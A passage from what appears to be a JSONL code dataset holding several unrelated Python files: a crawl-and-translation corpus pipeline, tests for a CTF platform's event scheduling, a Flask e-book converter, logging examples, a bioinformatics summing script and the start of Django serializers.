\"--pattern {0}/*\".format(p)\n # ])\n\n # Extract LETT files\n if 9 in steps:\n progress = 9\n print_step(9)\n\n lett_dir_path = Path(args.working_dir).joinpath(\"lettdir_merged\")\n\n for p in args.split_process.split(\",\"):\n extract_lett(\n lett_dir_path.joinpath(p),\n args.sentence_splitter,\n args.lang1,\n args.lang2,\n int(args.threads)\n )\n\n # Deduplicate foreign language\n if 10 in steps:\n progress = 10\n print_step(10)\n\n lett_dir_path = Path(args.working_dir).joinpath(\"lettdir_merged\")\n\n dedupe_extracted(\n args.working_dir,\n lett_dir_path,\n args.split_process.split(\",\"),\n args.lang2,\n int(args.threads)\n )\n\n # Send to another server to translate everything\n if 11 in steps:\n progress = 11\n print_step(11)\n\n for p in args.split_process.split(\",\"):\n bulkTranslate(args.working_dir, args.translation_script_path, args.lang2, p)\n\n # match translations to extracted sentences\n if 12 in steps:\n progress = 12\n print_step(12)\n \n for p in args.split_process.split(\",\"):\n translateExtracts(args.working_dir,\n args.lang2.lower(),\n p)\n\n # match translations to extracted sentences\n if 13 in steps:\n progress = 13\n print_step(13)\n \n for p in args.split_process.split(\",\"):\n docAlign(args.threads,\n args.working_dir,\n args.lang1.lower(),\n args.lang2.lower(),\n args.document_threshold,\n args.moses_dir,\n p)\n\n if 14 in steps:\n progress = 14\n print_step(14)\n \n for p in args.split_process.split(\",\"):\n bleuAlign(args.threads,\n args.working_dir,\n args.lang1.lower(),\n args.lang2.lower(),\n args.document_threshold,\n args.bleu_threshold,\n p)\n\n progress = 0\n\n except Exception as err:\n traceback.print_exc(file=sys.stderr)\n print(\"ERROR: {0}\".format(err))\n\n finally:\n return progress\n\n###########################################################################################################################\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='Parse web domains containing specific languages and locate sources of frequent domains.'\n + output_step_descr())\n parser.add_argument('--threads', dest='threads', default=12,\n help='number of concurrent threads')\n\n parser.add_argument('--langstat-path', dest='langstat_path',\n help='Path to a file containing statistics on language distribution per domain', required=False)\n parser.add_argument('--langstat-threshold', dest='langstat_threshold',\n help='Minimum byte length required to accept a domain', required=False)\n parser.add_argument('--domain-splits', dest='domain_splits', type=int, default=1,\n help='Splits domains into N files. The files are split so that subdomains are in the same file as their domain.', required=False)\n parser.add_argument('--split-process', dest='split_process', default=\"0\",\n help='Choose a comma-separated list of split IDs to process', required=False)\n parser.add_argument('--excluded-domains', dest='excluded_domains', default=None,\n help='List of domains to exclude')\n parser.add_argument('--az-account-key', dest='az_account_key', default=None,\n help='Azure storage account key.')\n parser.add_argument('--az-account-name', dest='az_account_name', default=None,\n help='Azure storage account name.')\n parser.add_argument('--blob-container', dest='blob_container',\n help='Azure BLOB clontainer\\'s name', required=False)\n\n parser.add_argument('--working-dir', dest='working_dir',\n help='Where to store everything', required=True)\n parser.add_argument('--httrack-dir', dest='httrack_dir',\n help='Root path of httrack', required=False)\n parser.add_argument('--moses-dir', dest='moses_dir',\n help='Root directory of Moses code', required=False)\n parser.add_argument('--bitextor-dir', dest='bitextor_dir',\n help='Bitextor installation directory', required=False)\n\n parser.add_argument('--translation-script-path', dest='translation_script_path',\n help=\"Script that takes stdin in lang1 and output to stdout in lang2. Pre- and post-processing to be done by script\")\n parser.add_argument('--sentence-splitter', dest='sentence_splitter',\n help=\"Script that splits text into sentences.\")\n\n parser.add_argument('--lang1', dest='lang1',\n help='First language to parse')\n parser.add_argument('--lang2', dest='lang2',\n help='Second language to parse')\n\n parser.add_argument('--crawl-time', dest='crawl_time',\n help='Maximum time to download each domain (sec)', required=False)\n parser.add_argument('--keep-boilerplate', dest='keep_boilerplate', action='store_true',\n help=\"Don't discard boiler plate data\")\n parser.add_argument('--first-step', dest='first_step', type=int,\n help='', required=True)\n parser.add_argument('--last-step', dest='last_step', type=int,\n help='', required=True)\n parser.add_argument('--document-threshold', dest='document_threshold',\n help='Document threshold')\n parser.add_argument('--bleu-threshold', dest='bleu_threshold',\n help='Sentence-level BLEU threshold')\n\n args = parser.parse_args()\n\n print(\"Starting...\")\n steps = list(range(args.first_step, args.last_step + 1))\n check_required_variables(args, steps)\n ret_code = run_steps(args, steps)\n print(\"\")\n if ret_code == 0:\n print(\"Successfully Finished!\")\n else:\n print(\"Error occured! Interrupted during step: {0}\".format(ret_code))\n","sub_path":"crawl/langstat-2-aligned-corpora.py","file_name":"langstat-2-aligned-corpora.py","file_ext":"py","file_size_in_byte":25006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"384625172","text":"# Copyright 2018 Alex Seymour\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport datetime\nimport pytz\nfrom tornado.testing import AsyncHTTPTestCase\nfrom bson.objectid import ObjectId\nfrom crontab import CronTab\n\nimport server\nfrom utilities import socket_utils\nfrom utilities import db_utils\nfrom . import common_setup\n\nclass TestCron(AsyncHTTPTestCase):\n def setUp(self):\n super().setUp()\n test_setup = common_setup.SetupTests()\n self.db = test_setup.setup_database()\n self.default_leaderboard_id = test_setup.setup_leaderboard()\n self.default_event_id = test_setup.setup_event(self.default_leaderboard_id)\n self.default_admin_id = test_setup.setup_admin()\n self.admin_cookie = test_setup.login_admin(self)\n timezone = pytz.timezone('Europe/London')\n time_now = timezone.localize(datetime.datetime.now())\n tomorrow = timezone.localize(datetime.datetime.now() + datetime.timedelta(days=1))\n self.now_formatted = datetime.datetime.strftime(time_now, '%Y-%m-%d %H:%M')\n self.tomorrow_formatted = datetime.datetime.strftime(tomorrow, '%Y-%m-%d %H:%M')\n\n def get_app(self):\n socket_manager = socket_utils.SocketManager()\n return server.Application(socket_manager, xsrf_cookies=False)\n\n def test_http_fetch_remote_cron(self):\n \"\"\" Tests that a 403 error is returned if attempting a GET to /remote/cron. \"\"\"\n response = self.fetch(\n '/remote/schedule/update/event/{}/action/start/auth/secret'.format(\n self.default_event_id)\n )\n self.assertEqual(response.code, 403)\n\n def test_http_post_remote_cron_invalid_secret(self):\n \"\"\" Tests that a 403 error is returned if the secret is invalid. \"\"\"\n response = self.fetch(\n '/remote/schedule/update/event/{}/action/start/auth/invalid'.format(\n self.default_event_id),\n method='POST',\n body=''\n )\n self.assertEqual(response.code, 403)\n\n def test_http_post_remote_cron_valid_secret_start(self):\n \"\"\" Tests that an event is started correctly with a valid call to the remote endpoint. \"\"\"\n response = self.fetch(\n '/remote/schedule/update/event/{}/action/start/auth/secret'.format(\n self.default_event_id),\n method='POST',\n body=''\n )\n event = self.db.events.find_one({'_id': ObjectId(self.default_event_id)})\n self.assertEqual(response.code, 200)\n self.assertTrue(event['active'])\n self.assertFalse(event['locked'])\n\n def test_http_post_remote_cron_valid_secret_stop(self):\n \"\"\" Tests that an event is stopped correctly with a valid call to the remote endpoint. \"\"\"\n self.db.events.update_one({\n '_id': ObjectId(self.default_event_id)\n }, {\n '$set': {\n 'active': True,\n 'locked': False\n }\n })\n response = self.fetch(\n '/remote/schedule/update/event/{}/action/stop/auth/secret'.format(\n self.default_event_id),\n method='POST',\n body=''\n )\n event = self.db.events.find_one({'_id': ObjectId(self.default_event_id)})\n self.assertEqual(response.code, 200)\n self.assertFalse(event['active'])\n self.assertFalse(event['locked'])\n\n def test_http_post_remote_cron_valid_secret_error(self):\n \"\"\" Tests that a 500 eror code is returned upon database error. \"\"\"\n self.db.events.delete_one({'_id': ObjectId(self.default_event_id)})\n response = self.fetch(\n '/remote/schedule/update/event/{}/action/start/auth/secret'.format(\n self.default_event_id),\n method='POST',\n body=''\n )\n self.assertEqual(response.code, 500)\n\n def test_http_post_cron_create(self):\n \"\"\" Tests that a CRON entry is created correctly. \"\"\"\n self.fetch(\n '/admin/events',\n method='POST',\n body='event_name=New+Event&event_description=description&event_start={}&event_end={}'\n .format(self.now_formatted, self.tomorrow_formatted),\n headers={\n 'Cookie': 'user={}'.format(self.admin_cookie)\n }\n )\n db_manager = db_utils.DatabaseManager({\n 'database_addr': 'localhost',\n 'database_port': '27017',\n 'database_name': 'BUCSS-CTF-TESTS',\n 'database_user': '',\n 'database_pass': ''\n })\n event_id = self.db.events.find_one({'name': 'New Event'})['_id']\n event = db_manager.retrieve_event(event_id)\n timezone = pytz.timezone('Europe/London')\n cron = CronTab(user=True)\n start_job = list(cron.find_comment('{}_start'.format(str(event['_id']))))[0]\n stop_job = list(cron.find_comment('{}_end'.format(str(event['_id']))))[0]\n start_time = timezone.localize(datetime.datetime(\n datetime.datetime.now().year,\n int(start_job.month.render()),\n int(start_job.day.render()),\n hour=int(start_job.hour.render()),\n minute=int(start_job.minute.render())\n ))\n end_time = timezone.localize(datetime.datetime(\n datetime.datetime.now().year,\n int(stop_job.month.render()),\n int(stop_job.day.render()),\n int(stop_job.hour.render()),\n int(stop_job.minute.render())\n ))\n self.assertEqual(start_time, event['start_time'])\n self.assertEqual(end_time, event['end_time'])\n cron.remove_all(comment='{}_start'.format(str(event['_id'])))\n cron.remove_all(comment='{}_end'.format(str(event['_id'])))\n cron.write()\n\n def test_http_post_cron_create_empty_date(self):\n \"\"\" Tests that a CRON entry is not created for empty dates. \"\"\"\n self.fetch(\n '/admin/events',\n method='POST',\n body='event_name=New+Event&event_description=description&event_start=&event_end=',\n headers={\n 'Cookie': 'user={}'.format(self.admin_cookie)\n }\n )\n event = self.db.events.find_one({'name': 'New Event'})\n cron = CronTab(user=True)\n start_job = list(cron.find_comment('{}_start'.format(str(event['_id']))))\n end_job = list(cron.find_comment('{}_end'.format(str(event['_id']))))\n self.assertEqual(len(start_job), 0)\n self.assertEqual(len(end_job), 0)\n\n def tearDown(self):\n super().tearDown()\n common_setup.SetupTests().cleanup(self)\n","sub_path":"test/cron_tests.py","file_name":"cron_tests.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"546348144","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#---------------------------------\nfrom config import *\nfrom main import *\nfrom flask import Flask, render_template, request, redirect, url_for, g, send_from_directory\nfrom flask.ext.babel import gettext\nfrom config import DEFAULT_TITLE_FILTER\n#---------------------------------\n# 上传文件\nimport os\nfrom flask_wtf import FlaskForm\nfrom flask_wtf.file import FileField, FileRequired\nfrom wtforms import SubmitField, FieldList, IntegerField, StringField , validators\nfrom werkzeug.utils import secure_filename\n\nfrom wtforms.validators import ValidationError \n\nimport time; # 引入time模块\n\nfrom utilities import init_project \nfrom scaffold import genTOC, gen_project\nfrom txt2html import Book, Chapter\n\n#--------------------------------\n# 引入session\nfrom Script_UserSession import sessionQueryFileUpload, sessionSaveFileUpload, sessionDelFileUpload, sessionSaveTOC, sessionQueryTitleFilter, sessionSaveTitleFilter, sessionSaveChapterMaxLength, sessionQueryChapterMaxLength\n#--------------------------------\n# 运行shell\n# import commands\n#--------------------------------\nfrom flask_socketio import SocketIO, emit\nfrom Script_socketio import *\n\nimport shutil\n\nimport re\n\nimport random\n\nimport subprocess\n#=================================\n\ndef readSlogan():\n \n if(not os.path.exists(os.path.join(Txt2mobiPath,'resources','slogan.dat'))):\n return ''\n\n lines = []\n with open(os.path.join(Txt2mobiPath,'resources','slogan.dat')) as f:\n for line in f:\n li=line.strip()\n if (not li.startswith(\"#\")) and len(li) > 0:\n lines.append(li)\n \n if(len(lines) == 0):\n return ''\n else:\n r_l = random.randint(0,len(lines)-1)\n # print('debug : rand ', r_l,len(lines), file=sys.stderr)\n return lines[r_l]\n\n\nclass TransformForm(FlaskForm):\n\n TOClistindex = FieldList( IntegerField())\n confirmTOC = SubmitField('确认目录')\n\n titleFilter = StringField('过滤规则')\n ChapterMaxLength = IntegerField()\n confirmtitleFilter = SubmitField('重新生成目录')\n\n\n def validate_confirmTOC(self, field):\n if(sessionQueryFileUpload() == None):\n raise ValidationError(gettext('错误 : 没有检测到上传文件'))\n\n def validate_titleFilter(self, field):\n if(self.confirmtitleFilter.data):\n if(field.data == None or len(field.data) == 0):\n raise ValidationError(gettext('需要目录过滤规则'))\n \n titleFilter = field.data \n else:\n titleFilter = sessionQueryTitleFilter()\n\n try:\n re.compile(titleFilter)\n except:\n # sessionSaveTitleFilter(titleFilter)\n raise ValidationError(gettext('目录过滤规则有误.'))\n\n\n\n\n@app.route('/ConfirmTransformEbook' , methods = ['GET', 'POST'] )\ndef ConfirmTransformEbook():\n #....\n\n fileDict = sessionQueryFileUpload()\n # print('fileDict:', fileDict)\n\n if (fileDict == None):\n return redirect(\"/TransformEbook\")\n\n\n # 确认转换\n formTran = TransformForm()\n\n try:\n book , TOC = genTOC(sessionQueryTitleFilter(), fileDict['filePath'], fileDict['saveFileName'], sessionQueryChapterMaxLength())\n except:\n return redirect(\"/404/转换失败,请联系网站管理员.\")\n if(book is None):\n return redirect(\"/404/没有检测到上传的书.\")\n\n\n print(\"|----formTran----\", file=sys.stderr)\n if formTran.validate_on_submit():\n\n if(formTran.confirmtitleFilter.data):\n\n titleFilter = formTran.titleFilter.data\n ChapterMaxLength = formTran.ChapterMaxLength.data\n if(ChapterMaxLength == None or ChapterMaxLength <0):\n ChapterMaxLength = 25\n\n # book , TOC = genTOC(titleFilter, fileDict['filePath'], fileDict['saveFileName'])\n sessionSaveTitleFilter(titleFilter)\n sessionSaveChapterMaxLength(ChapterMaxLength)\n\n # book , TOC = genTOC(None, filePath, saveFileName)\n \n if(book is None):\n return redirect(\"/404/没有检测到上传的书.\")\n # 链接目录\n # 创建目录\n # if (not os.path.exists(os.path.join(app.config['UPLOAD_FOLDERTOC'],fileDict['saveFileName']) )):\n # os.makedirs(os.path.join(app.config['UPLOAD_FOLDERTOC'],fileDict['saveFileName'])) \n # 连接\n # 删除之前的链接\n # os.remove(os.path.join(os.path.join(app.config['UPLOAD_FOLDERTOC'],fileDict['saveFileName']),'project-TOC.html'))\n # # os.link(os.path.join(fileDict['filePath'],'project-TOC.html'), \\\n # # os.path.join(os.path.join(app.config['UPLOAD_FOLDERTOC'],fileDict['saveFileName']),'project-TOC.html'))\n # shutil.copy2(os.path.join(fileDict['filePath'],'project-TOC.html'), \\\n # os.path.join(os.path.join(app.config['UPLOAD_FOLDERTOC'],fileDict['saveFileName']),'project-TOC.html'))\n\n return redirect(\"/ConfirmTransformEbook\")\n\n else:\n\n print(\"|----submit----\", file=sys.stderr)\n # print(formTran.confirmTOC.data)\n # if(formTran.confirmTOC.data):\n print(\"|-确认目录\", file=sys.stderr)\n fileDict = sessionQueryFileUpload()\n print('|---------index----------', file=sys.stderr)\n print(formTran.TOClistindex.data, file=sys.stderr)\n\n titleFilter = sessionQueryTitleFilter()\n if(titleFilter == None):\n titleFilter = DEFAULT_TITLE_FILTER\n\n try:\n book , TOC = genTOC(titleFilter, fileDict['filePath'], fileDict['saveFileName'], sessionQueryChapterMaxLength())\n except:\n return redirect(\"/404/转换失败,请联系网站管理员.\")\n if(book == None):\n print(\"没有检测到上传的书\", file=sys.stderr)\n sessionDelFileUpload()\n return redirect(\"/404/没有检测到上传的书.\")\n \n #-----------------\n # 删除目录\n if(len(formTran.TOClistindex.data) >0 ):\n book.combineChapter(formTran.TOClistindex.data)\n #-----------------\n\n # 用bookCount代表已经转化完book\n fileDict['bookCount'] = book.book_count()\n\n # 转化封面\n if(not fileDict['isCoverUpload']):\n coverFontFlag = ' -font \\'' + os.path.join(Txt2mobiPath,'resources','STHeiti.ttf') + '\\''\n # 添加乞讨语\n coverFlag = coverFontFlag + ' -gravity South -pointsize 30 -annotate +0+100 '\n coverName = readSlogan()\n info_o = os.system(\"convert \" + os.path.join(fileDict['filePath'] , \"cover.png\") + coverFlag + '\\'' + coverName + '\\' ' +os.path.join(fileDict['filePath'] , \"cover.png\"))\n # 书名\n coverFlag = coverFontFlag + ' -gravity North -pointsize 50 -annotate +0+100 '\n coverName = (fileDict['filename'].rsplit('.',1)[0]).replace('\\'','').replace('\\\\','').replace('\\\"','')\n \n if(fileDict['bookCount'] == 1):\n info_o = os.system(\"convert \" + os.path.join(fileDict['filePath'] , \"cover.png\") + coverFlag + '\\'' + coverName + '\\' ' +os.path.join(fileDict['filePath'] , \"cover-1.png\"))\n # print(\"convert \" + os.path.join(filePath , \"cover.png\") + coverFlag + '\\'' + coverName + '\\' ' +os.path.join(filePath , \"cover.png\"))\n print(\"|-转化封面 : \", info_o, file=sys.stderr) \n else:\n for idx in range(1, fileDict['bookCount']+1):\n info_o = os.system(\"convert \" + os.path.join(fileDict['filePath'] , \"cover.png\") + coverFlag + '\\'' + coverName + '\\n P-%s\\' ' % idx +os.path.join(fileDict['filePath'] , \"cover-%s.png\" % idx))\n print(\"|-转化封面 : \", info_o, file=sys.stderr) \n else:\n\n coverFlag = ' -resize 960x640 '\n if(fileDict['bookCount'] == 1):\n info_o = os.system(\"convert \" + os.path.join(fileDict['filePath'] , \"cover.png\") + coverFlag +os.path.join(fileDict['filePath'] , \"cover-1.png\"))\n\n print(\"|-转化封面 : \", info_o, file=sys.stderr) \n else:\n coverFontFlag = ' -font \\'' + os.path.join(Txt2mobiPath,'resources','STHeiti.ttf') + '\\''\n # 上传书籍仅需要添加 'Part-xx'\n coverFlag = coverFontFlag + ' -resize 960x640 -gravity North -pointsize 50 -annotate +0+0 '\n\n for idx in range(1, fileDict['bookCount']+1):\n info_o = os.system(\"convert \" + os.path.join(fileDict['filePath'] , \"cover.png\") + coverFlag + '\\'P-%s\\' ' % idx +os.path.join(fileDict['filePath'] , \"cover-%s.png\" % idx))\n print(\"|-转化封面 : \", info_o, file=sys.stderr) \n\n\n\n # 生成项目文件 \n try:\n gen_project(book, titleFilter, fileDict['filePath'], fileDict['saveFileName'])\n except subprocess.TimeoutExpired:\n return redirect(\"/404/转化超时,请减小电子书大小\")\n \n\n sessionDelFileUpload()\n info = sessionSaveFileUpload(fileDict)\n if info != 0:\n print(\"储存文件错误 : \", info, file=sys.stderr)\n return redirect(\"/404/转存错误\")\n \n return redirect(\"/ConfirmTransformEbook\")\n\n\n return render_template('ConfirmTransformEbook.html.j2', app = app, formTran=formTran, os=os, TOC=TOC, jsV=jsV)\n\n\n@app.route('/TransformDownloads//')\ndef downloads(saveFileName,filename):\n fileDict = sessionQueryFileUpload()\n if(fileDict == None):\n return redirect('/404')\n elif(not ('bookCount' in fileDict.keys())):\n return redirect('/TransformEbook')\n elif(saveFileName != fileDict['saveFileName']):\n return redirect('/404/没有找到文件')\n elif(not re.match('project-[0-9]{1,2}\\.mobi', filename)):\n return redirect('/404/没有找到文件')\n\n print(\"download page : \" + fileDict['filePath'], file=sys.stderr)\n\n return send_from_directory(fileDict['filePath'],\n filename)\n","sub_path":"code/Pages/ConfirmTransformEbook.py","file_name":"ConfirmTransformEbook.py","file_ext":"py","file_size_in_byte":10421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294675417","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 17-7-5 下午1:10\n# @Author : Tom.Lee\n# @Description : \n# @File : study_logging.py\n# @Product : PyCharm\n# @Docs : http://blog.csdn.net/hallo_ween/article/details/64906838\n\n\"\"\"\n注意:basicConfig有一个 很大的缺点。\n调用basicConfig其实是给root logger添加了一个handler,\n这样当你的程序和别的使用了 logging的第三方模块一起工作时,\n会影响第三方模块的logger行为。这是由logger的继承特性决定的。\n\"\"\"\n\nimport logging\nimport sys\n\nFORMAT_STR = '[%(asctime)s] %(levelname)s :: %(module)s :: %(filename)s-L%(lineno)d: %(message)s'\n\n\n# logger = logging.getLogger(\"django\")\n# logger.debug(logging.DEBUG) # 使用django热加载\n\n\ndef config1():\n \"\"\"\n **********************Config 1**********************\n \"\"\"\n # config 1.\n # 设置默认的level为DEBUG\n # 设置log的格式\n # 注意:basicConfig有一个 很大的缺点。\n # 调用basicConfig其实是给root logger添加了一个handler,\n # 这样当你的程序和别的使用了 logging的第三方模块一起工作时,\n # 会影响第三方模块的logger行为。这是由logger的继承特性决定的。\n logging.basicConfig(\n level=logging.DEBUG,\n format=\"[%(asctime)s] %(name)s:%(levelname)s: %(message)s\"\n )\n\n # 记录log\n logging.debug('debug')\n logging.info('info')\n logging.warn('warn')\n logging.error('error')\n logging.critical('critical')\n\n\ndef config2():\n \"\"\"\n ********************Config 2************************\n \"\"\"\n # # config 2\n # 使用一个名字为fib的logger\n logger = logging.getLogger('app_name')\n # 设置logger的level为DEBUG\n logger.setLevel(logging.DEBUG)\n # 创建一个输出日志到控制台的StreamHandler\n handler = logging.StreamHandler()\n formatter = logging.Formatter('[%(asctime)s] %(name)s:%(levelname)s: %(message)s')\n handler.setFormatter(formatter)\n # 给logger添加上handler\n logger.addHandler(handler)\n\n logger.debug('debug message')\n logger.info('hello world')\n\n\ndef config3():\n \"\"\"\n config3 输出到文件\n \"\"\"\n # 获取logger实例,如果参数为空则返回root logger\n logger = logging.getLogger(\"AppName\")\n # 指定logger输出格式\n formatter = logging.Formatter(FORMAT_STR)\n # 文件日志\n file_handler = logging.FileHandler(\"/tmp/config3.log\")\n file_handler.setFormatter(formatter) # 可以通过setFormatter指定输出格式\n # 控制台日志\n console_handler = logging.StreamHandler(sys.stdout)\n console_handler.formatter = formatter # 也可以直接给formatter赋值\n # 为logger添加的日志处理器,可以自定义日志处理器让其输出到其他地方\n logger.addHandler(file_handler)\n logger.addHandler(console_handler)\n # 指定日志的最低输出级别,默认为WARN级别\n logger.setLevel(logging.INFO)\n\n # 输出不同级别的log\n logger.debug('this is debug info')\n logger.info('this is information')\n logger.warn('this is warning message')\n logger.error('this is error message')\n logger.fatal('this is fatal message, it is same as logger.critical')\n logger.critical('this is critical message')\n\n\ndef config4():\n import glob\n import logging.handlers\n\n log_filename = '/tmp/logging_rotating_file_example.out'\n\n # Set up a specific logger with our desired output level\n my_logger = logging.getLogger('MyLogger')\n my_logger.setLevel(logging.DEBUG)\n\n # Add the log message handler to the logger\n # filename 日志名称\n # maxBytes 最大字节\n # backupCount 备份数量\n handler = logging.handlers.RotatingFileHandler(\n filename=log_filename,\n maxBytes=10,\n backupCount=2)\n\n my_logger.addHandler(handler)\n\n # Log some messages\n for i in range(20):\n my_logger.debug('i = %d' % i)\n\n # See what files are created\n log_files = glob.glob('%s*' % log_filename)\n\n for filename in log_files:\n print(filename)\n\n\ndef config5():\n import glob\n import re\n import logging.handlers\n from time import sleep\n log_filename = '/tmp/logging_time_rotating_file_example.log'\n\n # Set up a specific logger with our desired output level\n my_logger = logging.getLogger('MyLogger')\n my_logger.setLevel(logging.DEBUG)\n\n # Add the log message handler to the logger\n # filename 日志名称\n # when 周期时间\n # backupCount 备份数量\n handler = logging.handlers.TimedRotatingFileHandler(\n filename=log_filename,\n when='S',\n backupCount=2)\n # 修改默认值,必须同时修改该俩个属性\n # handler.suffix = '{}.bak'.format(handler.suffix)\n # handler.extMatch = re.compile(r\"^\\d{4}-\\d{2}-\\d{2}_\\d{2}-\\d{2}-\\d{2}.bak$\")\n\n my_logger.addHandler(handler)\n\n # Log some messages\n for i in range(20):\n sleep(1)\n my_logger.debug('i = %d' % i)\n\n # See what files are created\n log_files = glob.glob('%s*' % log_filename)\n\n for filename in log_files:\n print(filename)\n\n\nclass ConsoleLoggerHaveBug(object):\n \"\"\"\n BUG\n BUG\n\n 使用new方法,错误的方式,同名的name会打印重复\n \"\"\"\n\n def __new__(cls, name='%(module)s'):\n __format = '%(asctime)s %(levelname)s {model} :: %(message)s'.format(model=name)\n __logger = logging.getLogger(name)\n __logger.setLevel(logging.DEBUG)\n handler = logging.StreamHandler()\n formatter = logging.Formatter(__format)\n handler.setFormatter(formatter)\n __logger.addHandler(handler)\n return __logger\n\n\nclass ConsoleLogger(logging.Logger):\n \"\"\"\n 自定义logger\n examples:\n logger = ConsoleLogger('mode_name')\n logger.info(\"ok!\")\n \"\"\"\n\n def __init__(self, name, level=logging.DEBUG):\n super(ConsoleLogger, self).__init__(name, level)\n self.formatter = logging.Formatter('[%(asctime)s] %(name)s: %(levelname)s: %(message)s')\n self.handler = logging.StreamHandler()\n self.handler.setFormatter(self.formatter)\n # 给logger添加上handler\n self.addHandler(self.handler)\n\n\nclass FileLogger(logging.Logger):\n \"\"\"\n 自定义logger\n examples:\n logger = FileLogger('file_path','mode_name')\n logger.info(\"ok!\")\n \"\"\"\n\n # def __new__(cls, file_path, name='sys'):\n # __logger = logging.getLogger(name)\n # formatter = logging.Formatter(FORMAT_STR)\n # file_handler = logging.FileHandler(file_path)\n # file_handler.setFormatter(formatter)\n # console_handler = logging.StreamHandler()\n # console_handler.formatter = formatter\n # __logger.setLevel(logging.DEBUG)\n # __logger.addHandler(file_handler)\n # __logger.addHandler(console_handler)\n #\n # return __logger\n def __init__(self, name, level=logging.DEBUG):\n super(FileLogger, self).__init__(name, level)\n self.log_file_path = '/tmp/logger.log'\n self.formatter = logging.Formatter('[%(asctime)s] %(name)s: %(levelname)s: %(message)s')\n self.file_handler = logging.FileHandler(self.log_file_path)\n self.file_handler.setFormatter(self.formatter)\n self.console_handler = logging.StreamHandler()\n self.console_handler.setFormatter(self.formatter)\n self.addHandler(self.file_handler)\n self.addHandler(self.console_handler)\n\n\nif __name__ == '__main__':\n # logger = FileLogger('fileTest')\n # logger.info(\"FileLogger ok!\")\n #\n # logger2 = ConsoleLogger('app')\n # logger2.info(\"logger2 ConsoleLogger ok!\")\n # logger3 = ConsoleLogger('app')\n # logger3.info(\"logger3 ConsoleLogger ok!\")\n #\n # #  这种方式存在bug, 同名的name会打印重复\n # l = ConsoleLoggerHaveBug('test')\n # l.debug('l: 123')\n # l2 = ConsoleLoggerHaveBug('test')\n # l2.debug('l2: 456')\n # config3()\n\n # config4()\n config5()\n","sub_path":"2.7/standard_library/study_logging.py","file_name":"study_logging.py","file_ext":"py","file_size_in_byte":8016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613526061","text":"# COMPARE STRINGS WHICH MIGHT CONTAIN UNICODES\n############################################################################\ndef insensitive(string):\n \"\"\"Given a string, returns its lower/upper case insensitive string\"\"\"\n if getattr(str,'casefold',None) is not None:\n insen = lambda str_name: str_name.casefold()\n else:\n insen = lambda str_name: str_name.upper().lower()\n\n return insen(string)\n\n","sub_path":"Kuru/Utils/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"303784940","text":"import glob\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nimport os\nos.chdir('/Users/evanbiederstedt/Downloads/RRBS_data_files')\n\n\n\nnormal_B = glob.glob(\"stacked_RRBS_normal_B*\")\n\nnewdf1 = pd.DataFrame()\nfor filename in normal_B[:2]:\n df = pd.read_csv(filename)\n df['filename'] = str(filename)\n df = df.sum()\n df[\"total_cpg_no_filter\"] = df[\"avgReadCpGs\"]\n df[\"filename\"] = str(filename)\n df[\"filename\"] = df[\"filename\"][8:48]\n \n newdf1 = newdf1.append(df, ignore_index=True)\n\nnewdf1.to_csv(\"cpg_normalB1.csv\")\n\nnormal_B = glob.glob(\"stacked_RRBS_normal_B*\")\n\nnewdf2 = pd.DataFrame()\nfor filename in normal_B:\n df = pd.read_csv(filename)\n df['filename'] = str(filename)\n df = df[df['avgReadCpGs'] > 1]\n df = df.sum()\n df[\"total_cpg_gtrthan1\"] = df[\"avgReadCpGs\"]\n df[\"filename\"] = str(filename)\n df[\"filename\"] = df[\"filename\"][8:48]\n newdf2 = newdf2.append(df, ignore_index=True)\n\nnewdf2.to_csv(\"cpg_normalB2.csv\")\n\n\n\nnormal_B = glob.glob(\"stacked_RRBS_normal_B*\")\n\n\nnewdf3 = pd.DataFrame()\nfor filename in normal_B:\n df = pd.read_csv(filename)\n df['filename'] = str(filename)\n df = df[df['avgReadCpGs'] >= 3.8]\n df = df.sum()\n df[\"total_cpg_gtrthan38\"] = df[\"avgReadCpGs\"]\n df[\"filename\"] = str(filename)\n df[\"filename\"] = df[\"filename\"][8:48]\n newdf3 = newdf3.append(df, ignore_index=True)\n\nnewdf3.to_csv(\"cpg_normalB3.csv\")\n\n\n\n","sub_path":"scripts/normalB_cpg.py","file_name":"normalB_cpg.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"446194575","text":"def print_formatted(number):\n n = len(format(number, 'b'))\n for i in range(1, number + 1): \n s = str(i)\n sx = format(i, 'x').upper()\n so = format(i, 'o').upper()\n sb = format(i, 'b')\n print(s.rjust(n, ' '), sx.rjust(n, ' '), so.rjust(n, ' '), sb.rjust(n, ' '))\n\nif __name__ == '__main__':\n n = int(input())\n print_formatted(n)","sub_path":"stringformatting.py","file_name":"stringformatting.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"551615456","text":"from rest_framework import serializers\n\nfrom .models import Question, Answer\n\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.auth import get_user_model\n\n\n###################### User ########################\nUser = get_user_model()\n\n\nclass UserDetailSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = [\n 'username',\n 'email',\n 'first_name',\n 'last_name',\n ]\n\n\nclass UserCreateSerializer(serializers.ModelSerializer):\n email = serializers.EmailField(label='Email Address')\n email2 = 